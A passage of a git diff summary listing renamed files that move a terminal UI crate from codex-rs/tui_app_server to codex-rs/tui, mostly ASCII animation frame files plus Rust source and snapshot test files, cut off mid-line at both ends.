tui}/frames/blocks/frame_23.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_24.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_25.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_26.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_27.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_28.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_29.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_3.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_30.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_31.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_32.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_33.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_34.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_35.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_36.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_4.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_5.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_6.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_7.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_8.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_9.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_1.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_10.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_11.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_12.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_13.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_14.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_15.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_16.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_17.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_18.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_19.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_2.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_20.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_21.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_22.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_23.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_24.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_25.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_26.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_27.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_28.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_29.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_3.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_30.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_31.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_32.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_33.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_34.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_35.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_36.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_4.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_5.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_6.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_7.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_8.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/codex/frame_9.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_1.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_10.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_11.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_12.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_13.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_14.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_15.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_16.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_17.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_18.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_19.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_2.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_20.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_21.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_22.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_23.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_24.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_25.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_26.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_27.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_28.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_29.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_3.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_30.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_31.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_32.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_33.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_34.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_35.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_36.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_4.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_5.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_6.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_7.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_8.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/default/frame_9.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_1.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_10.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_11.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_12.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_13.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_14.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_15.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_16.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_17.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_18.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_19.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_2.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_20.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_21.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_22.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_23.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_24.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_25.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_26.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_27.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_28.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_29.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_3.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_30.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_31.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_32.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_33.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_34.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_35.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_36.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_4.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_5.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_6.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_7.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_8.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/dots/frame_9.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_1.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_10.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_11.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_12.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_13.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_14.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_15.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_16.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_17.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_18.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_19.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_2.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_20.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_21.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_22.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_23.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_24.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_25.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_26.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_27.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_28.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_29.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_3.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_30.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_31.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_32.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_33.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_34.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_35.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_36.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_4.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_5.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_6.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_7.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_8.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hash/frame_9.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_1.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_10.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_11.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_12.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_13.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_14.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_15.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_16.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_17.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_18.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_19.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_2.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_20.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_21.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_22.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_23.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_24.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_25.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_26.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_27.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_28.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_29.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_3.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_30.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_31.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_32.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_33.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_34.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_35.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_36.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_4.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_5.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_6.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_7.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_8.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/hbars/frame_9.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_1.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_10.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_11.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_12.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_13.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_14.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_15.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_16.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_17.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_18.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_19.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_2.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_20.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_21.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_22.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_23.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_24.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_25.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_26.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_27.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_28.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_29.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_3.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_30.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_31.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_32.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_33.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_34.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_35.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_36.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_4.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_5.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_6.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_7.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_8.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/openai/frame_9.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_1.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_10.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_11.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_12.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_13.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_14.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_15.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_16.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_17.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_18.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_19.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_2.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_20.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_21.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_22.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_23.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_24.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_25.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_26.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_27.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_28.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_29.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_3.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_30.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_31.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_32.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_33.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_34.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_35.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_36.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_4.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_5.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_6.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_7.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_8.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/shapes/frame_9.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_1.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_10.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_11.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_12.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_13.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_14.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_15.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_16.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_17.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_18.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_19.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_2.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_20.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_21.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_22.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_23.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_24.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_25.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_26.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_27.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_28.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_29.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_3.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_30.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_31.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_32.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_33.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_34.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_35.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_36.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_4.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_5.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_6.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_7.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_8.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/slug/frame_9.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_1.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_10.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_11.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_12.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_13.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_14.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_15.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_16.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_17.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_18.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_19.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_2.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_20.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_21.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_22.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_23.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_24.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_25.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_26.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_27.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_28.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_29.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_3.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_30.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_31.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_32.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_33.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_34.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_35.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_36.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_4.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_5.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_6.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_7.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_8.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/vbars/frame_9.txt (100%) rename codex-rs/{tui_app_server => tui}/prompt_for_init_command.md (100%) rename codex-rs/{tui_app_server => tui}/src/additional_dirs.rs (100%) rename codex-rs/{tui_app_server => tui}/src/app.rs (100%) rename codex-rs/{tui_app_server => tui}/src/app/agent_navigation.rs (100%) rename codex-rs/{tui_app_server => tui}/src/app/app_server_adapter.rs (100%) rename codex-rs/{tui_app_server => tui}/src/app/app_server_requests.rs (100%) rename codex-rs/{tui_app_server => tui}/src/app/loaded_threads.rs (100%) rename codex-rs/{tui_app_server => tui}/src/app/pending_interactive_replay.rs (100%) rename codex-rs/{tui_app_server => tui}/src/app_backtrack.rs (100%) rename codex-rs/{tui_app_server => tui}/src/app_command.rs (100%) rename codex-rs/{tui_app_server => tui}/src/app_event.rs (100%) rename codex-rs/{tui_app_server => tui}/src/app_event_sender.rs (100%) rename codex-rs/{tui_app_server => tui}/src/app_server_session.rs (100%) rename codex-rs/{tui_app_server => tui}/src/ascii_animation.rs (100%) rename codex-rs/{tui_app_server => tui}/src/audio_device.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bin/md-events.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/AGENTS.md (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/app_link_view.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/approval_overlay.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/bottom_pane_view.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/chat_composer.rs (99%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/chat_composer_history.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/command_popup.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/custom_prompt_view.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/experimental_features_view.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/feedback_view.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/file_search_popup.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/footer.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/list_selection_view.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/mcp_server_elicitation.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/mod.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/multi_select_picker.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/paste_burst.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/pending_input_preview.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/pending_thread_approvals.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/popup_consts.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/prompt_args.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/request_user_input/layout.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/request_user_input/mod.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/request_user_input/render.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_footer_wrap.snap (96%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_freeform.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_hidden_options_footer.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_long_option_text.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_multi_question_first.snap (98%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_multi_question_last.snap (98%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_options.snap (100%) rename codex-rs/{tui_app_server => 